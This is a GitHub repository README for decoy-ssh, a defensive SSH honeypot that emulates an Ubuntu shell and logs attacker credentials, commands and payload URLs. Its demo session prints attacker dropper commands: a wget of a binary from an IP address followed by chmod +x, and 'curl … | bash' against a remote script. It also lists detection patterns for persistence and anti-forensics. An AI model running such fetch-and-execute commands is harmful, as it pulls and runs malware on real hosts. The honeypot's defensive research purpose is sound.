Skip to content
SysFr4m3rPublic

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

Repository files navigation

decoy-ssh

A from-scratch, medium-interaction SSH honeypot that records what attackers do, not just who knocks.

decoy-ssh terminates the real SSH protocol, lets brute-forcers "in", and hands them a convincing fake Ubuntu shell — while logging every credential, command, and payload URL as structured JSON. Nothing an attacker types is ever executed. Commands are answered from an in-memory fake filesystem, so the sensor is safe to expose.

Same interaction model as Cowrie, built here in ~2,000 lines of readable, dependency-light Python you can actually extend.


Why

Most homegrown honeypots stop at "accept the connection, log the password." That tells you who is scanning, but the interesting intelligence is what happens after login: which payloads get pulled, where persistence gets planted, what the botnet's post-exploitation script actually does. decoy-ssh is built around capturing that second act — and turning it into detection-ready telemetry.

Features

  • Real SSH, fake shell. Genuine handshake, key exchange, and auth via paramiko; everything past auth is emulated. A real OpenSSH client connects, gets a PTY, and never touches a real process.
  • 177 emulated commands — ls, cat, wget, curl, ps, uname, crontab, systemctl, pipelines, $(...), redirects, &&/||, and more.
  • Credential capture on every attempt, accepted or not, plus offered public-key fingerprints (a durable actor ID, often more stable than IP).
  • Payload interception — URLs from wget/curl are recorded, never fetched; curl … | sh droppers have their piped script captured verbatim.
  • Behavioural detection — persistence (authorized_keys, cron, systemd, /etc/passwd), anti-forensics (history -c, log deletion), and lateral movement (outbound ssh, port forwarding) each raise a typed event.
  • Credential bait — files like /root/.ssh/id_rsa and .aws/credentials hold per-sensor-unique fakes; reading one is a high-signal event, and if the value ever surfaces elsewhere you know exactly where it leaked from.
  • Structured JSONL with a stable event taxonomy and severity levels, ready to ship into Wazuh / Elastic / Loki with no parser.
  • Full session replay — a byte-exact transcript of every PTY session.
  • Read-only web console (FastAPI) — credentials, payload URLs, timeline, and click-to-replay per session, fully decoupled from the live sensor.
  • Safe by design — per-session copy-on-write filesystem (attackers can't see or sabotage each other), no code execution, output caps, subshell-depth limits, and never a leaked Python traceback.

Quick start

git clone https://github.com/<you>/decoy-ssh.git
cd decoy-ssh
make install          # venv + paramiko, pyyaml, fastapi, uvicorn
make test             # 19 offline tests, no network required

Run the sensor (port 2222 by default — see config.yaml):

make serve                       # honeypot only
make all                         # honeypot + web console on 127.0.0.1:8080

Point a client at it — try a wrong password, then 123456, and you're "in":

ssh -p 2222 root@localhost

No network at all? Drive the emulated shell directly:

make shell                       # or: python3 -m decoyssh shell

What it looks like

root@web-prod-03:~# uname -a
Linux web-prod-03 5.15.0-105-generic #115-Ubuntu SMP ... x86_64 GNU/Linux
root@web-prod-03:~# cd /tmp && wget http://45.9.148.99/x86 -O .a && chmod +x .a
--2026-08-22 16:05:52--  http://45.9.148.99/x86
Connecting to 45.9.148.99|...|:80... connected.
HTTP request sent, awaiting response... 200 OK
Saving to: '.a'  ... saved [279237/279237]
root@web-prod-03:~# curl -s http://45.9.148.99/i.sh | bash

...produces, in var/log/decoyssh-YYYY-MM-DD.jsonl:

{"ts":"2026-08-22T16:05:51.402Z","event":"auth.success","severity":"medium","username":"root","password":"123456","attempt":3}
{"ts":"2026-08-22T16:05:52.113Z","event":"download.attempt","severity":"high","url":"http://45.9/x86","tool":"wget"}
{"ts":"2026-08-22T16:05:52.640Z","event":"download.piped_to_shell","severity":"critical","url":"http://45.9/i.sh","interpreter":"bash"}

Architecture

  attacker ── SSH ──▶ sshd.py ────────▶ shell.py ──▶ commands.py
                     (paramiko:          (parser,      (177 emulated
                      real crypto,        pipes,        commands +
                      auth policy,        redirects,    detection hooks)
                      PTY line editor)    substitution)      │
                          │                                  ▼
                          └──────────▶ events.py ◀────────  vfs.py
                                       (JSONL, one           (per-session
                                        line per event)       copy-on-write FS)

  analytics.py + dashboard.py read the JSONL files only — fully decoupled from
  the live sensor, so they also work on logs shipped from a remote host.
Module Responsibility
decoyssh/sshd.py SSH transport, auth policy, PTY line editing, session lifecycle
decoyssh/shell.py Command-line grammar: quoting, $(), pipes, ;/&&/||, redirects
decoyssh/commands.py The 177 emulated commands and the detection hooks inside them
decoyssh/vfs.py In-memory fake filesystem with credential bait files
decoyssh/events.py Thread-safe JSONL event log with the severity taxonomy
decoyssh/analytics.py Read-side aggregation over the log
decoyssh/dashboard.py FastAPI read-only web console
config.yaml Sensor identity, auth policy, timeouts, paths

Event taxonomy

Events are named on a stable dotted scheme so your detection rules have a contract to sit on. Highlights:

Event Severity Meaning
auth.success / auth.failed medium / low A credential attempt
auth.pubkey_offered medium Public key offered (fingerprint captured)
command.input medium A command the attacker ran
download.attempt high wget/curl to a URL (not fetched)
download.piped_to_shell critical curl … | sh — the dropper's script is captured
persistence.attempt critical Write to authorized_keys, cron, systemd, etc.
credential.harvest medium A bait credential file was read
lateral.outbound_attempt high Outbound ssh/scp (lateral movement)
antiforensics.* — history -c, log deletion, firewall tampering

Configuration

Everything lives in config.yaml:

  • sensor.* — the hostname / OS / kernel the fake shell reports. Change these per deployment so multiple sensors are distinguishable in your logs.
  • auth.mode — how credentials are accepted:
    • nth_attempt (default) — fail a couple of tries, then let weak creds in, so the sensor behaves like a host with a genuinely guessable password.
    • weak_list — accept only credentials from the configured lists.
    • any — accept the first credential offered.
    • deny_all — never accept (credential-harvesting only).
  • ssh.server_version — the banner. Must look plausible for the claimed OS.

Deploying safely

Warning

A honeypot is deliberately attractive to attackers. Run it in isolation and never on a host you can't afford to have probed.

  1. Never run it on port 22 as root. Bind an unprivileged port and redirect with deploy/nftables-redirect.sh — move your real sshd to another port first and confirm you can still log in, or you will lock yourself out.
  2. Run it under the hardened unit in deploy/decoy-ssh.service — a locked-down service account, ProtectSystem=strict, no capabilities, seccomp filter.
  3. Put it on an isolated VLAN with egress filtering. The honeypot fetches nothing, but defence in depth protects the host itself.
  4. Ship var/log/*.jsonl to your SIEM.

Extending it

Add a command by registering a handler in commands.py:

@command("nmap")
def cmd_nmap(ctx, argv):
    ctx.emit("recon.portscan", argv=" ".join(argv))   # raise a detection event
    ctx.write("Starting Nmap 7.80 ...\n")             # write plausible output
    return 0

ctx gives you the fake filesystem (ctx.vfs), the event emitter (ctx.emit), the current user, and stdin from a pipe (ctx.stdin).

Roadmap

  • HTTP and Telnet listeners on the same event bus (Telnet ≈ IoT/Mirai traffic)
  • GeoIP / ASN enrichment in analytics.py
  • Downloaded-payload hashing + MalwareBazaar lookup
  • Sigma rules mapped to the event taxonomy

Legal & ethics

Only deploy on infrastructure you own or are authorised to run a honeypot on. A honeypot records everyone who connects — understand your jurisdiction's rules on logging, and on serving the bait credentials it hands out. This project is for defensive security research, blue-team training, and authorised testing.

License

MIT — see LICENSE.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages